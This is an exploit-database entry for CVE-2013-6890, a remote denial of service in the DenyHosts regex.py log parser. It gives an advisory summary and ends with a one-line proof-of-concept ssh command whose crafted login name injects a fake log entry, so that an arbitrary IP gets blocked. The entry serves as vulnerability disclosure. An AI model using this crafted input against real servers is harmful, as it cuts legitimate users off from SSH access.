Exploit DenyHosts - 'regex.py' Remote Denial of Service

[Exploiter]

EDB-ID

38909

Проверка EDB

1. Пройдено

Автор

HELMUT GROHNE

Тип уязвимости

DOS

Платформа

LINUX

CVE

cve-2013-6890

Дата публикации

2013-12-19

DenyHosts - 'regex.py' Remote Denial of Service

source: https://www.securityfocus.com/bid/64478/info

DenyHosts is prone to a remote denial-of-service vulnerability.

Successfully exploiting this issue allows remote attackers to deny further SSH network access to arbitrary IP addresses, denying service to legitimate users. 

ssh -l 'Invalid user root from 123.123.123.123' 21.21.21.21